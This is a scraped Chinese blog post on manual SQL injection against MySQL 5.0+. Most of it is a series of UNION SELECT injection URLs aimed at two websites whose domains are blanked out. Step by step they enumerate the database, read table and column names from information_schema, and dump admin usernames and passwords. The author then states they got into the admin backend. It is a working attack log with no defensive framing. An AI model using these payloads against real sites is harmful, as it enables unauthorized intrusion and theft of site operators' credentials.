zoukankan      html  css  js  c++  java
  • Mysql5.0以上 手工注入

    Mysql5.0以上

    order by 23

    http://www..com/productdet.php
    ?
    &id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,database(),11,12,13,14,15,16,17,18,19,20,21,22

    http://www..com/productdet.php
    ?
    &id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x7368736A6B

    http://www..com/productdet.php
    ?
    &id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.columns where table_name=0x777A5F6A6A5F61646D696E

    http://www. .com/productdet.php
    ?
    &id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(ad_username,0x5c,ad_password),11,12,13,14,15,16,17,18,19,20,21,22 from wz_jj_admin

    成功进入后台

    http://www..cn/article/view/id/1411 and 1=2 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17

    http://www..cn/article/view/id/1411 and 1=2 UNION SELECT

    1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17

    http://www..cn/article/view/id/1411 and 1=2 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where 0table_schema=0x68646D313034303435385F6462

    http://www..cn/article/view/id/1411 and 1=2 0UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=0x696E7477686F5F61646D696E5F75736572

    http://www. .cn/article/view/id/1411 and 1=2 UNION%20SELECT 1,2,3,group_concat(user_name,0x5c,password),5,6,7,8,9,10,11,12,13,14,15,16,17 from intwho_admin_user

  • 相关阅读:
    Java 集合-Map集合嵌套 的遍历四种方式
    Java 集合-set集合,Map接口
    Java 集合 Collection
    Java中的各种转换
    Java 关于时间的类
    Java 中 String、StringBuffer、StringBuilder 类
    Java 构造函数,super,this,final,static
    Java 面向对象关键字
    ArrayList集合
    JAVA数组
  • 原文地址:https://www.cnblogs.com/nightnine/p/5487350.html
Copyright © 2011-2022 走看看